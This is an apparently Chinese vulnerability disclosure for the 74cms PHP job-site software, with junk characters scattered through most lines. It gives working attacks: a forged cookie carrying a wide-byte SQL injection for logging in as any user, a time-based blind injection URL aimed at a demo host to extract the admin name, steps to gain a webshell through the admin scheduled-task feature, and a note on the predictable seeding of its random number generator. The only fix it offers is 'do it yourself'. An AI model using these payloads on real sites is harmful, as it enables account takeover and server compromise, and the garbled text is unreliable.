0x1 任意用户登录/ `# g6 o0 B& d( M" S8 ^
$ V' k R6 n- E' L2 t9 q6 f 0x2 盲注& y2 c' d6 j2 J- R+ q- ~
3 @. C# `6 X7 @! _4 f! F2 _
0x3 后台拿shell6 R' E& {' y& ]7 H0 R2 l1 o2 r
1 r! X+ s. H) ]2 H- F" i
0x4 随机函数问题4 O* l5 q' O6 |1 N/ w* g6 W2 ?
3 l, S6 o* u7 C, j' z2 l 详细说明:
; A# ` }* V. `3 d7 y* z3 M$ L# `$ E& D4 f; l3 g
0x1 任意用户登录) O: w2 c5 W5 A
. P' X( y+ x Y7 [% x" n3 V/ Q& e
user/login.php
7 [" x- n1 t( h9 N
# }9 [# D7 h& }7 Z5 z% O; T3 @/ s" r- @ elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
% x4 a! W) u+ O8 u, h
( l. E, N; Q! D: G8 r {4 D4 }9 ^5 J8 }* z
# E8 h: L2 F9 U& G% _) L( N if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
- v! b) l4 E0 `) S# j" d3 O" Y1 v3 @1 u
{
. y y5 j9 }2 ]6 a. U2 Q# t. ?/ I" h, I/ O5 }
update_user_info($_COOKIE['QS']['uid'],false,false);
: j; I: q! T- u7 R7 O) a: `* Z5 a8 s
header("Location:".get_member_url($_SESSION['utype']));! w6 d* K& I: Y1 M! ^8 M
0 K/ m; s. T, A }
* n8 ~0 M% q9 L" u. c
" M# j" u# M* f6 e% o else
( f& x/ e: h% X8 i4 b: T$ d" m7 Q( I! d
{8 q" R8 K0 k) L
4 l W7 v; C2 N7 s, v* b
unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
9 Y, B, ~1 z! p$ u7 o* m1 S9 ?
9 O5 X9 ]! n" F6 ?9 x! P* ^ setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);9 i0 a- Z- f# s% e8 k3 S
: F6 C% M. K6 P) H" Z: [3 |; Q
setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);, _6 ]5 v) u+ n0 n- s' O; ^
B/ G3 b$ v2 C( J8 D! P( K: {! i8 x setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);/ Z: R, y" T* C8 H1 U- l5 V" g
4 T9 H' ^. S/ x setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
4 g) G: Z8 X% x, k0 u4 d
% F2 p, |5 ^8 Z! j header("Location:".url_rewrite('QS_login'));# N- N* k: k4 O* Q
/ T2 O7 K5 o8 j1 [2 P
}4 v7 t* S* z4 X/ R$ d* n
d* k9 V1 ~7 p% F' i& } }* X4 Q' {1 n; A+ T/ O3 P7 Z% r
; n2 ]" E# _3 J0 P' @* j; J
include/fun_user.php
2 P) ~, h. @, m1 F Z
7 p$ i3 ]+ X- C6 V, X: `! H. @ //检测COOKIE
, z) j. B! e0 |7 V* w$ S
+ \# D* l9 O0 @ k) q function check_cookie($name,$pwd){
' q5 G Y/ s$ C* a3 ~1 v3 ?
5 k8 F' j' f$ f global $db;2 ^* ~, W. t% S# q5 n7 {
2 h- l/ J& j2 G% c
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
1 d2 O2 B' a6 i# t; B) M
1 d" i5 C5 C! M if($row['num'] > 0)$ t1 v; `3 Y3 l6 F1 q
. w1 A2 N1 |) m) Q+ y7 V {' B6 B! b) n! p$ E3 I% c
7 [% J1 Q5 m" Z$ v1 e4 L return true;. b: T- ^6 Y$ |: X
/ j* ~" E2 t7 Q1 W0 _' u& y" b }else{; a% }0 G3 p. K4 o ^ l
; r% G, h& { j: q" g8 X7 Q2 e
return false;# G8 s, E! b8 u% W$ Q7 n# O; S
# ]: a0 d; j) ^" J0 K1 Y I }
. L6 A( {! F- u' E' M, y5 c \
% j \+ X1 K/ I. S& D$ w* [3 e }
1 c p6 P) ?. u5 \* y3 {; p, o8 S( d; k3 @9 Q
构造cookie如下
, d. t+ {+ D& e, g. p+ v1 ? o- y6 i$ U7 \3 d5 c
QS[uid] 2
! w' }! S: t" S! Y8 l" w* j d8 [1 X! ?; i' \/ A
QS[utype] 1
% k! f3 t+ l E' q, D- o/ C* K" d) o" G3 l) @7 y$ W* d
QS[password] 111111111111111111111. o3 |! j: W: ]
! O: x- D8 r; f0 t& V" @- Q9 I QS[username]%bf%27 or 1=1 %23
" R; W4 |# C& d# _9 m; Y& Q1 Z3 z& P) N+ L5 X5 f
uid 为假冒用户的ID utype为用户类型password任意3 v( o2 X1 i" A1 s8 a7 _9 _
* h t& K. n, D* D4 Z {: X 0x2 盲注# Q# {" n% r1 x
% r; W1 b- W( v" e! u http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23+ j$ d8 `; {9 G) @5 `( y( ~
* ?5 Y+ }/ b& _6 n
上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面
2 Q; Q4 j: P+ D6 t; ?1 P8 a. a) \; [' c
0x3 后台拿shell
! U) o4 \, M* i8 n+ O1 K
0 y* c, Y6 p: p) `$ G. U9 L: k- [ 1.先关闭csrf防御功能- J6 b" T: A3 U0 a/ C
" O# u- k9 Y3 Z# M! u& Z! T ~) \ 2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc/ u0 L5 ^, f) U* ~
9 a7 x e0 D+ J, j
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc7 F5 m& O- y/ h: z: `8 s
( K" \% T* t' j% Y7 w( u
4.然后执行
: O0 s* `9 M7 C) P( h3 Q6 B& @5 g
2 u% p$ d7 u/ x" C 0x4 随机函数问题(几乎可以无视,纯属个人YY)! ] l" B. h; ?* r& |& Y
% n0 `, p8 @. b& f, ^1 _ 在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
0 W# s3 c M; X' }: n$ d8 O( m, p- X
这个$QS_pwdhash是由randstr生成6 z: |1 G2 @. s& x1 Q8 F
, z' o, R* \" U: l
function randstr($length=6)! m1 K% k) E, J" {8 D3 O2 W2 P
w2 Z' M# a/ v
{8 r' @' S; O4 a2 }" d/ }5 N
* P0 K5 c9 Y. a; o% {* {6 K
$hash='';8 H% l9 z7 N) Z( t* i; U& l
L1 \+ e1 T! h0 ]+ n3 p
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';& j3 V! F0 t$ ~/ ~5 b" }
9 s% N7 b" U9 r, @7 N7 G
$max=strlen($chars)-1;. h2 r, [5 ?* o/ N
. O' I4 q0 {5 f; l3 g3 L# N5 H mt_srand((double)microtime()*1000000);
. R1 w' f1 Z o, A$ o6 s/ L' Q; [
for($i=0;$i<$length;$i++) {+ Q w8 ]! @; R1 {! y1 I
0 o: H- u6 R+ [* \8 z* `
$hash.=$chars[mt_rand(0,$max)];8 \0 B2 s# b5 ]' p$ w9 S: M* P4 N
: K& y4 c$ q1 A: l' Z6 t5 T
}
' R2 s/ C' Q2 h1 ?( h! X6 G+ w* y' _
return $hash;) ?/ ]% g6 q& R# P, V" G
~# i7 ?( l% b% E# f. I- y( E+ S' s+ G }
9 n3 u! v* r0 d; N5 C
8 X8 p( D& I2 i5 c4 | 生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
$ H! S; J; n1 {1 [2 D# Z2 h; {1 l- B' Z9 x1 A: G1 _
漏洞证明:
; Y/ Z$ C, ]7 x( a3 m* v$ F+ i! h% x" G6 p
修复方案:
. k! o2 @4 y9 l- T/ p% y# G
2 [: x4 h, q4 k' Z" J) m do it yourself~3 t, Z y9 \& B9 ~- A* q
: y8 F( E% u8 l9 w1 L, E6 E
解决一切网站安全,湖盟云防火墙:hnhack.com |